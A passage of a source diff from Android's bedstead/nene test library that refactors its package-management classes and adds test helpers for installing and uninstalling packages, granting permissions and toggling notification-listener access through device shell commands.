+        if (Tags.hasTag(USES_DEVICESTATE) && !Tags.hasTag(Tags.USES_NOTIFICATIONS)) {
+            throw new NeneException(
+                    "Tests which use Notifications must be annotated @NotificationsTest");
+        }
+
+        NotificationListener notificationListener = new NotificationListener(this);
+        mRegisteredListeners.add(notificationListener);
+        initListenerIfRequired();
+
+        return notificationListener;
+    }
+
+    void removeListener(NotificationListener listener) {
+        mRegisteredListeners.remove(listener);
+        teardownListenerIfRequired();
+    }
+
+    private void initListenerIfRequired() {
+        if (mRegisteredListeners.isEmpty()) {
+            return;
+        }
+
+        if (mListenerAccessIsGranted) {
+            return;
+        }
+
+        mListenerAccessIsGranted = true;
+        setNotificationListenerAccessGranted(
+                LISTENER_COMPONENT, /* granted= */ true, TestApis.users().instrumented());
+    }
+
+    private void teardownListenerIfRequired() {
+        if (!mRegisteredListeners.isEmpty()) {
+            return;
+        }
+
+        if (!mListenerAccessIsGranted) {
+            return;
+        }
+
+        mListenerAccessIsGranted = false;
+        setNotificationListenerAccessGranted(
+                LISTENER_COMPONENT, /* granted= */ false, TestApis.users().instrumented());
+    }
+
+    void onNotificationPosted(StatusBarNotification sbn) {
+        for (NotificationListener notificationListener : mRegisteredListeners) {
+            notificationListener.onNotificationPosted(sbn);
+        }
+    }
+
+    /**
+     * See {@link NotificationManager#setNotificationListenerAccessGranted(ComponentName, boolean)}.
+     */
+    public void setNotificationListenerAccessGranted(
+            ComponentReference listener, boolean granted, UserReference user) {
+        if (listener == null || user == null) {
+            throw new NullPointerException();
+        }
+
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+            String command = granted ? "allow_listener" : "disallow_listener";
+            try {
+                ShellCommand.builder("cmd notification")
+                        .addOperand(command)
+                        .addOperand(listener.componentName().flattenToShortString())
+                        .allowEmptyOutput(true)
+                        .validate(String::isEmpty)
+                        .execute();
+            } catch (AdbException e) {
+                throw new NeneException(
+                            "Error setting notification listener access " + granted, e);
+            }
+
+            return;
+        }
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(MANAGE_NOTIFICATION_LISTENERS)) {
+            TestApis.context().androidContextAsUser(user)
+                    .getSystemService(NotificationManager.class)
+                    .setNotificationListenerAccessGranted(
+                            listener.componentName(), granted, /* userGranted= */ false);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackage.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackage.java
new file mode 100644
index 0000000..e022e8c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackage.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Resolved information about a package on the device.
+ */
+public final class AdbPackage {
+
+    private static final String LOG_TAG = "Package";
+    private final PackageManager mPackageManager;
+
+    static final class MutablePackage {
+        String mPackageName;
+        Map<UserReference, MutableUserPackage> mInstalledOnUsers;
+        Set<String> mInstallPermissions;
+    }
+
+    static final class MutableUserPackage {
+        Set<String> mGrantedPermissions;
+
+        @Override
+        public String toString() {
+            return "UserPackage{grantedPermissions=" + mGrantedPermissions + "}";
+        }
+    }
+
+    private final MutablePackage mMutablePackage;
+    private final Set<String> mRequestedPermissions;
+
+    AdbPackage(MutablePackage mutablePackage) {
+        mMutablePackage = mutablePackage;
+        mRequestedPermissions = new HashSet<>();
+        mPackageManager = TestApis.context().instrumentedContext().getPackageManager();
+
+        try {
+            PackageInfo packageInfo = mPackageManager.getPackageInfo(
+                    mMutablePackage.mPackageName, /* flags= */ GET_PERMISSIONS);
+            if (packageInfo.requestedPermissions != null) {
+                mRequestedPermissions.addAll(Arrays.asList(packageInfo.requestedPermissions));
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            // This happens frequently and is not useful to log
+            // TODO(scottjonathan): Figure out why we get this for packages which should exist
+        }
+    }
+
+    /** Get {@link UserReference}s who have this {@link java.lang.Package} installed. */
+    public Set<UserReference> installedOnUsers() {
+        return mMutablePackage.mInstalledOnUsers.keySet();
+    }
+
+    /**
+     * Get all permissions granted to this package on the given user.
+     *
+     * <p>This will also include permissions which are granted for all users.
+     */
+    public Set<String> grantedPermissions(UserReference user) {
+        MutableUserPackage userPackage = mMutablePackage.mInstalledOnUsers.get(user);
+        if (userPackage == null) {
+            return new HashSet<>();
+        }
+
+        Set<String> mergedPermissions = new HashSet<>();
+        mergedPermissions.addAll(mMutablePackage.mInstallPermissions);
+        mergedPermissions.addAll(userPackage.mGrantedPermissions);
+
+        return mergedPermissions;
+    }
+
+    /**
+     * Get all permissions requested by this package.
+     */
+    public Set<String> requestedPermissions() {
+        return mRequestedPermissions;
+    }
+
+    /**
+     * Get the package name.
+     */
+    public String packageName() {
+        return mMutablePackage.mPackageName;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("Package{");
+        stringBuilder.append("packageName=" + mMutablePackage.mPackageName);
+        stringBuilder.append(", installedOnUsers=" + mMutablePackage.mInstalledOnUsers);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
index 7ab4681..652ba5d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
@@ -19,7 +19,6 @@
 import android.annotation.TargetApi;
 import android.os.Build;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 
 import java.util.Map;
@@ -29,8 +28,8 @@
 @TargetApi(Build.VERSION_CODES.O)
 interface AdbPackageParser {
 
-    static AdbPackageParser get(TestApis testApis, int sdkVersion) {
-        return new AdbPackageParser26(testApis);
+    static AdbPackageParser get(int sdkVersion) {
+        return new AdbPackageParser26();
     }
 
     /**
@@ -39,7 +38,7 @@
      * <p>Values which are not used on the current version of Android will be {@code null}.
      */
     class ParseResult {
-        Map<String, Package> mPackages;
+        Map<String, AdbPackage> mPackages;
         Set<String> mFeatures;
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
index 2b1a6a8..cbb2401 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
@@ -44,13 +44,7 @@
 
     private static final int PACKAGE_LIST_BASE_INDENTATION = 2;
 
-    private final TestApis mTestApis;
-
-    AdbPackageParser26(TestApis testApis) {
-        if (testApis == null) {
-            throw new NullPointerException();
-        }
-        mTestApis = testApis;
+    AdbPackageParser26() {
     }
 
     @Override
@@ -78,13 +72,13 @@
         }
     }
 
-    Map<String, Package> parsePackages(String dumpsysUsersOutput) throws AdbParseException {
+    Map<String, AdbPackage> parsePackages(String dumpsysUsersOutput) throws AdbParseException {
         String packagesList = extractPackagesList(dumpsysUsersOutput);
 
         Set<String> packageStrings = extractPackageStrings(packagesList);
-        Map<String, Package> packages = new HashMap<>();
+        Map<String, AdbPackage> packages = new HashMap<>();
         for (String packageString : packageStrings) {
-            Package pkg = new Package(mTestApis, parsePackage(packageString));
+            AdbPackage pkg = new AdbPackage(parsePackage(packageString));
             packages.put(pkg.packageName(), pkg);
         }
         return packages;
@@ -105,10 +99,10 @@
     private static final Pattern USER_INSTALLED_PATTERN =
             Pattern.compile("User (\\d+):.*?installed=(\\w+)");
 
-    Package.MutablePackage parsePackage(String packageString) throws AdbParseException {
+    AdbPackage.MutablePackage parsePackage(String packageString) throws AdbParseException {
         try {
             String packageName = packageString.split("\\[", 2)[1].split("]", 2)[0];
-            Package.MutablePackage pkg = new Package.MutablePackage();
+            AdbPackage.MutablePackage pkg = new AdbPackage.MutablePackage();
             pkg.mPackageName = packageName;
             pkg.mInstalledOnUsers = new HashMap<>();
             pkg.mInstallPermissions = new HashSet<>();
@@ -131,7 +125,7 @@
         }
     }
 
-    void parseInstallPermissions(String section, Package.MutablePackage pkg) {
+    void parseInstallPermissions(String section, AdbPackage.MutablePackage pkg) {
         String list = section.split("\n", 2)[1]; // remove header
         for (String item : list.split("\n")) {
             String[] trimmed = item.trim().split(":", 2);
@@ -143,7 +137,7 @@
         }
     }
 
-    void parseUser(String section, Package.MutablePackage pkg) throws AdbParseException {
+    void parseUser(String section, AdbPackage.MutablePackage pkg) throws AdbParseException {
         Matcher userInstalledMatcher = USER_INSTALLED_PATTERN.matcher(section);
         if (!userInstalledMatcher.find()) {
             throw new AdbParseException("Error parsing user section in package", section);
@@ -155,8 +149,8 @@
             return;
         }
 
-        UserReference user = mTestApis.users().find(userId);
-        Package.MutableUserPackage userPackage = new Package.MutableUserPackage();
+        UserReference user = TestApis.users().find(userId);
+        AdbPackage.MutableUserPackage userPackage = new AdbPackage.MutableUserPackage();
         userPackage.mGrantedPermissions = new HashSet<>();
         pkg.mInstalledOnUsers.put(user, userPackage);
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ComponentReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ComponentReference.java
index 73435a9..c7786bf 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ComponentReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ComponentReference.java
@@ -31,26 +31,22 @@
 @Experimental
 public class ComponentReference {
 
-    final TestApis mTestApis;
-    final PackageReference mPackage;
+    final Package mPackage;
     final String mClassName;
 
-    public ComponentReference(TestApis testApis, PackageReference packageName, String className) {
-        mTestApis = testApis;
+    public ComponentReference(Package packageName, String className) {
         mPackage = packageName;
         mClassName = className;
     }
 
-    public ComponentReference(TestApis testApis, ComponentName component) {
-        this(testApis,
-                new UnresolvedPackage(testApis, component.getPackageName()),
-                component.getClassName());
+    public ComponentReference(ComponentName component) {
+        this(new Package(component.getPackageName()), component.getClassName());
     }
 
     /**
-     * Get the {@link PackageReference} for this component.
+     * Get the {@link Package} for this component.
      */
-    public PackageReference packageName() {
+    public Package pkg() {
         return mPackage;
     }
 
@@ -87,7 +83,7 @@
      * Enable this component for the instrumented user.
      */
     public ComponentReference enable() {
-        return enable(mTestApis.users().instrumented());
+        return enable(TestApis.users().instrumented());
     }
 
     /**
@@ -109,7 +105,7 @@
      * Disable this component for the instrumented user.
      */
     public ComponentReference disable() {
-        return disable(mTestApis.users().instrumented());
+        return disable(TestApis.users().instrumented());
     }
 
     @Override
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
index 7069aaa..02a6d2d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
@@ -41,10 +41,8 @@
 public final class KeepUninstalledPackagesBuilder {
 
     private final List<String> mPackages = new ArrayList<>();
-    private final TestApis mTestApis;
 
-    KeepUninstalledPackagesBuilder(TestApis testApis) {
-        mTestApis = testApis;
+    KeepUninstalledPackagesBuilder() {
     }
 
     /**
@@ -58,10 +56,10 @@
         //  APK files and keeping them (either as a file or in memory) until needed to resolve or
         //  re-install
         PackageManager packageManager =
-                mTestApis.context().instrumentedContext().getPackageManager();
+                TestApis.context().instrumentedContext().getPackageManager();
 
         try (PermissionContext p =
-                    mTestApis.permissions().withPermission(KEEP_UNINSTALLED_PACKAGES)) {
+                    TestApis.permissions().withPermission(KEEP_UNINSTALLED_PACKAGES)) {
             packageManager.setKeepUninstalledPackages(mPackages);
         }
     }
@@ -81,7 +79,7 @@
      * Add a package to the list of those which will not be cleaned up.
      */
     @CheckResult
-    public KeepUninstalledPackagesBuilder add(PackageReference pkg) {
+    public KeepUninstalledPackagesBuilder add(Package pkg) {
         mPackages.add(pkg.packageName());
         return this;
     }
@@ -91,15 +89,15 @@
      */
     @CheckResult
     public KeepUninstalledPackagesBuilder add(String pkg) {
-        return add(mTestApis.packages().find(pkg));
+        return add(TestApis.packages().find(pkg));
     }
 
     /**
      * Add a collection of packages to the list of those which will not be cleaned up.
      */
     @CheckResult
-    public KeepUninstalledPackagesBuilder add(Collection<PackageReference> packages) {
-        for (PackageReference pkg : packages) {
+    public KeepUninstalledPackagesBuilder add(Collection<Package> packages) {
+        for (Package pkg : packages) {
             add(pkg);
         }
         return this;
@@ -111,6 +109,6 @@
     @CheckResult
     public KeepUninstalledPackagesBuilder addPackageNames(Collection<String> packages) {
         return add(packages.stream().map(
-                (s) -> mTestApis.packages().find(s)).collect(Collectors.toSet()));
+                (s) -> TestApis.packages().find(s)).collect(Collectors.toSet()));
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 0deddc5..3b76374 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -16,100 +16,824 @@
 
 package com.android.bedstead.nene.packages;
 
+import static android.Manifest.permission.FORCE_STOP_PACKAGES;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.Manifest.permission.QUERY_ALL_PACKAGES;
+import static android.content.pm.ApplicationInfo.FLAG_STOPPED;
+import static android.content.pm.ApplicationInfo.FLAG_SYSTEM;
 import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static android.content.pm.PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
+import static android.os.Build.VERSION_CODES.S;
+import static android.os.Process.myUid;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ActivityManager;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.os.Build;
+import android.os.UserHandle;
 import android.util.Log;
 
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.users.UserReference;
+import androidx.annotation.Nullable;
 
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.appops.AppOps;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.devicepolicy.ProfileOwner;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.permissions.Permissions;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.Versions;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.io.File;
 import java.util.Arrays;
 import java.util.HashSet;
-import java.util.Map;
+import java.util.Objects;
 import java.util.Set;
+import java.util.function.Supplier;
+import java.util.stream.Collectors;
 
 /**
- * Resolved information about a package on the device.
+ * A representation of a package on device which may or may not exist.
  */
-public class Package extends PackageReference {
+public final class Package {
+    private static final String LOG_TAG = "PackageReference";
+    private static final int PIDS_PER_USER_ID = 100000;
+    private static final PackageManager sPackageManager =
+            TestApis.context().instrumentedContext().getPackageManager();
 
-    private static final String LOG_TAG = "Package";
-    private final PackageManager mPackageManager;
+    private final String mPackageName;
 
-    static final class MutablePackage {
-        String mPackageName;
-        Map<UserReference, MutableUserPackage> mInstalledOnUsers;
-        Set<String> mInstallPermissions;
+    Package(String packageName) {
+        mPackageName = packageName;
     }
 
-    static final class MutableUserPackage {
-        Set<String> mGrantedPermissions;
-
-        @Override
-        public String toString() {
-            return "UserPackage{grantedPermissions=" + mGrantedPermissions + "}";
-        }
-    }
-
-    private final MutablePackage mMutablePackage;
-    private final Set<String> mRequestedPermissions;
-
-    Package(TestApis testApis, MutablePackage mutablePackage) {
-        super(testApis, mutablePackage.mPackageName);
-        mMutablePackage = mutablePackage;
-        mRequestedPermissions = new HashSet<>();
-        mPackageManager = testApis.context().instrumentedContext().getPackageManager();
-
-        try {
-            PackageInfo packageInfo = mPackageManager.getPackageInfo(
-                    mMutablePackage.mPackageName, /* flags= */ GET_PERMISSIONS);
-            if (packageInfo.requestedPermissions != null) {
-                mRequestedPermissions.addAll(Arrays.asList(packageInfo.requestedPermissions));
-            }
-        } catch (PackageManager.NameNotFoundException e) {
-            // This happens frequently and is not useful to log
-            // TODO(scottjonathan): Figure out why we get this for packages which should exist
-        }
-    }
-
-    /** Get {@link UserReference}s who have this {@link Package} installed. */
-    public Set<UserReference> installedOnUsers() {
-        return mMutablePackage.mInstalledOnUsers.keySet();
+    /** Return the package's name. */
+    public String packageName() {
+        return mPackageName;
     }
 
     /**
-     * Get all permissions granted to this package on the given user.
+     * Install the package on the given user.
      *
-     * <p>This will also include permissions which are granted for all users.
+     * <p>If you wish to install a package which is not already installed on another user, see
+     * {@link Packages#install(UserReference, File)}.
      */
-    public Set<String> grantedPermissions(UserReference user) {
-        MutableUserPackage userPackage = mMutablePackage.mInstalledOnUsers.get(user);
-        if (userPackage == null) {
+    public Package installExisting(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        try {
+            // Expected output "Package X installed for user: Y"
+            ShellCommand.builderForUser(user, "cmd package install-existing")
+                    .addOperand(mPackageName)
+                    .validate(
+                            (output) -> output.contains("installed for user"))
+                    .execute();
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Could not install-existing package " + this, e);
+        }
+    }
+
+    /**
+     * Install this package on the given user, using {@link #installExisting(UserReference)} if
+     * possible, otherwise installing fresh.
+     */
+    public Package install(UserReference user, File apkFile) {
+        if (exists()) {
+            return installExisting(user);
+        }
+
+        return TestApis.packages().install(user, apkFile);
+    }
+
+    /**
+     * Install this package on the given user, using {@link #installExisting(UserReference)} if
+     * possible, otherwise installing fresh.
+     */
+    public Package install(UserReference user, Supplier<File> apkFile) {
+        if (exists()) {
+            return installExisting(user);
+        }
+
+        return TestApis.packages().install(user, apkFile.get());
+    }
+
+    /**
+     * Install this package on the given user, using {@link #installExisting(UserReference)} if
+     * possible, otherwise installing fresh.
+     */
+    public Package installBytes(UserReference user, byte[] apkFile) {
+        if (exists()) {
+            return installExisting(user);
+        }
+
+        return TestApis.packages().install(user, apkFile);
+    }
+
+    /**
+     * Install this package on the given user, using {@link #installExisting(UserReference)} if
+     * possible, otherwise installing fresh.
+     */
+    public Package installBytes(UserReference user, Supplier<byte[]> apkFile) {
+        if (exists()) {
+            return installExisting(user);
+        }
+
+        return TestApis.packages().install(user, apkFile.get());
+    }
+
+    /**
+     * Uninstall the package for all users.
+     */
+    public Package uninstallFromAllUsers() {
+        for (UserReference user : installedOnUsers()) {
+            uninstall(user);
+        }
+
+        return this;
+    }
+
+    /**
+     * Uninstall the package for the given user.
+     *
+     * <p>If the package is not installed for the given user, nothing will happen.
+     */
+    public Package uninstall(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        IntentFilter packageRemovedIntentFilter =
+                new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
+        packageRemovedIntentFilter.addDataScheme("package");
+
+        // This is outside of the try because we don't want to await if the package isn't installed
+        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
+                TestApis.context().androidContextAsUser(user),
+                packageRemovedIntentFilter);
+
+        try {
+
+            boolean canWaitForBroadcast = false;
+            if (Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.R)) {
+                try (PermissionContext p = TestApis.permissions().withPermission(
+                        INTERACT_ACROSS_USERS_FULL)) {
+                    broadcastReceiver.register();
+                }
+                canWaitForBroadcast = true;
+            } else if (user.equals(TestApis.users().instrumented())) {
+                broadcastReceiver.register();
+                canWaitForBroadcast = true;
+            }
+
+            String commandOutput = Poll.forValue(() -> {
+                // Expected output "Success"
+                return ShellCommand.builderForUser(user, "pm uninstall")
+                        .addOperand(mPackageName)
+                        .execute();
+            }).toMeet(output -> output.toUpperCase().startsWith("SUCCESS")
+                    || output.toUpperCase().contains("NOT INSTALLED FOR"))
+                    .terminalValue((output) -> {
+                        if (output.contains("DELETE_FAILED_DEVICE_POLICY_MANAGER")) {
+                            // A recently-removed device policy manager can't be removed - but won't
+                            // show as DPC
+
+                            DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
+                            if (deviceOwner != null && deviceOwner.pkg().equals(this)) {
+                                // Terminal, can't remove actual DO
+                                return true;
+                            }
+                            ProfileOwner profileOwner =
+                                    TestApis.devicePolicy().getProfileOwner(user);
+                            // Terminal, can't remove actual PO
+                            return profileOwner != null && profileOwner.pkg().equals(this);
+
+                            // Not PO or DO, likely temporary failure
+                        }
+
+                        return true;
+                    })
+                    .errorOnFail()
+                    .await();
+
+            if (commandOutput.toUpperCase().startsWith("SUCCESS")) {
+                if (canWaitForBroadcast) {
+                    broadcastReceiver.awaitForBroadcastOrFail();
+                } else {
+                    try {
+                        // On versions prior to R - cross user installs can't block for broadcasts
+                        // so we have an arbitrary sleep
+                        Thread.sleep(10000);
+                    } catch (InterruptedException e) {
+                        Log.i(LOG_TAG, "Interrupted waiting for package uninstallation", e);
+                    }
+                }
+            }
+            return this;
+        } catch (NeneException e) {
+            throw new NeneException("Could not uninstall package " + this, e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
+    }
+
+    /**
+     * Enable this package for the given {@link UserReference}.
+     */
+    @Experimental
+    public Package enable(UserReference user) {
+        try {
+            ShellCommand.builderForUser(user, "pm enable")
+                    .addOperand(mPackageName)
+                    .validate(o -> o.contains("new state"))
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error enabling package " + this + " for user " + user, e);
+        }
+        return this;
+    }
+
+    /**
+     * Enable this package on the instrumented user.
+     */
+    @Experimental
+    public Package enable() {
+        return enable(TestApis.users().instrumented());
+    }
+
+    /**
+     * Disable this package for the given {@link UserReference}.
+     */
+    @Experimental
+    public Package disable(UserReference user) {
+        try {
+            ShellCommand.builderForUser(user, "pm disable")
+                    .addOperand(mPackageName)
+                    .validate(o -> o.contains("new state"))
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error disabling package " + this + " for user " + user, e);
+        }
+        return this;
+    }
+
+    /**
+     * Disable this package on the instrumented user.
+     */
+    @Experimental
+    public Package disable() {
+        return disable(TestApis.users().instrumented());
+    }
+
+    /**
+     * Get a reference to the given {@code componentName} within this package.
+     *
+     * <p>This does not guarantee that the component exists.
+     */
+    @Experimental
+    public ComponentReference component(String componentName) {
+        return new ComponentReference(this, componentName);
+    }
+
+    /**
+     * Grant a permission for the package on the given user.
+     *
+     * <p>The package must be installed on the user, must request the given permission, and the
+     * permission must be a runtime permission.
+     */
+    public Package grantPermission(UserReference user, String permission) {
+        // There is no readable output upon failure so we need to check ourselves
+        checkCanGrantOrRevokePermission(user, permission);
+
+        try {
+            ShellCommand.builderForUser(user, "pm grant")
+                    .addOperand(packageName())
+                    .addOperand(permission)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+
+            assertWithMessage("Error granting permission " + permission
+                    + " to package " + this + " on user " + user
+                    + ". Command appeared successful but not set.")
+                    .that(hasPermission(user, permission)).isTrue();
+
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Error granting permission " + permission + " to package "
+                    + this + " on user " + user, e);
+        }
+    }
+
+    /** Grant the {@code permission} on the instrumented user. */
+    public Package grantPermission(String permission) {
+        return grantPermission(TestApis.users().instrumented(), permission);
+    }
+
+    /** Deny the {@code permission} on the instrumented user. */
+    public Package denyPermission(String permission) {
+        return denyPermission(TestApis.users().instrumented(), permission);
+    }
+
+    /**
+     * Deny a permission for the package on the given user.
+     *
+     * <p>The package must be installed on the user, must request the given permission, and the
+     * permission must be a runtime permission.
+     *
+     * <p>You can not deny permissions for the current package on the current user.
+     */
+    public Package denyPermission(UserReference user, String permission) {
+        // There is no readable output upon failure so we need to check ourselves
+        checkCanGrantOrRevokePermission(user, permission);
+
+        if (packageName().equals(TestApis.context().instrumentedContext().getPackageName())
+                && user.equals(TestApis.users().instrumented())) {
+            if (!hasPermission(user, permission)) {
+                return this; // Already denied
+            }
+            throw new NeneException("Cannot deny permission from current package");
+        }
+
+        try {
+            ShellCommand.builderForUser(user, "pm revoke")
+                    .addOperand(packageName())
+                    .addOperand(permission)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+
+            assertWithMessage("Error denying permission " + permission
+                    + " to package " + this + " on user " + user
+                    + ". Command appeared successful but not set.")
+                    .that(hasPermission(user, permission)).isFalse();
+
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Error denying permission " + permission + " to package "
+                    + this + " on user " + user, e);
+        }
+    }
+
+    private void checkCanGrantOrRevokePermission(UserReference user, String permission) {
+        if (!installedOnUser(user)) {
+            throw new NeneException("Attempting to grant " + permission + " to " + this
+                    + " on user " + user + ". But it is not installed");
+        }
+
+        try {
+            PermissionInfo permissionInfo =
+                    sPackageManager.getPermissionInfo(permission, /* flags= */ 0);
+
+            if (!protectionIsDangerous(permissionInfo.protectionLevel)
+                    && !protectionIsDevelopment(permissionInfo.protectionLevel)) {
+                throw new NeneException("Cannot grant non-runtime permission "
+                        + permission + ", protection level is " + permissionInfo.protectionLevel);
+            }
+
+            if (!requestedPermissions().contains(permission)) {
+                throw new NeneException("Cannot grant permission "
+                        + permission + " which was not requested by package " + packageName());
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new NeneException("Permission does not exist: " + permission);
+        }
+    }
+
+    private boolean protectionIsDangerous(int protectionLevel) {
+        return (protectionLevel & PROTECTION_DANGEROUS) != 0;
+    }
+
+    private boolean protectionIsDevelopment(int protectionLevel) {
+        return (protectionLevel & PROTECTION_FLAG_DEVELOPMENT) != 0;
+    }
+
+    /** Get running {@link ProcessReference} for this package on all users. */
+    @Experimental
+    public Set<ProcessReference> runningProcesses() {
+        // TODO(scottjonathan): See if this can be remade using
+        //  ActivityManager#getRunningappProcesses
+        try {
+            return ShellCommand.builder("ps")
+                    .addOperand("-A")
+                    .addOperand("-n")
+                    .executeAndParseOutput(o -> parsePsOutput(o).stream()
+                            .filter(p -> p.mPackageName.equals(mPackageName))
+                            .map(p -> new ProcessReference(this, p.mPid, p.mUid,
+                                    TestApis.users().find(p.mUserId))))
+                    .collect(Collectors.toSet());
+        } catch (AdbException e) {
+            throw new NeneException("Error getting running processes ", e);
+        }
+    }
+
+    private Set<ProcessInfo> parsePsOutput(String psOutput) {
+        return Arrays.stream(psOutput.split("\n"))
+                .skip(1) // Skip the title line
+                .map(s -> s.split("\\s+"))
+                .map(m -> new ProcessInfo(
+                        m[8], Integer.parseInt(m[1]),
+                        Integer.parseInt(m[0]),
+                        Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
+                .collect(Collectors.toSet());
+    }
+
+    /** Get the running {@link ProcessReference} for this package on the given user. */
+    @Experimental
+    @Nullable
+    public ProcessReference runningProcess(UserReference user) {
+        return runningProcesses().stream().filter(
+                i -> i.user().equals(user))
+                .findAny()
+                .orElse(null);
+    }
+
+    /** Get the running {@link ProcessReference} for this package on the given user. */
+    @Experimental
+    @Nullable
+    public ProcessReference runningProcess(UserHandle user) {
+        return runningProcess(TestApis.users().find(user));
+    }
+
+    /** Get the running {@link ProcessReference} for this package on the instrumented user. */
+    @Experimental
+    @Nullable
+    public ProcessReference runningProcess() {
+        return runningProcess(TestApis.users().instrumented());
+    }
+
+    /** {@code true} if the package is installed on the given user. */
+    public boolean installedOnUser(UserHandle userHandle) {
+        return installedOnUser(TestApis.users().find(userHandle));
+    }
+
+    /** {@code true} if the package is installed on the given user. */
+    public boolean installedOnUser(UserReference user) {
+        return packageInfoForUser(user, /* flags= */ 0) != null;
+    }
+
+    /** {@code true} if the package is installed on the instrumented user. */
+    public boolean installedOnUser() {
+        return installedOnUser(TestApis.users().instrumented());
+    }
+
+    /** {@code true} if the package on the given user has the given permission. */
+    public boolean hasPermission(UserReference user, String permission) {
+        return TestApis.context().androidContextAsUser(user).getPackageManager()
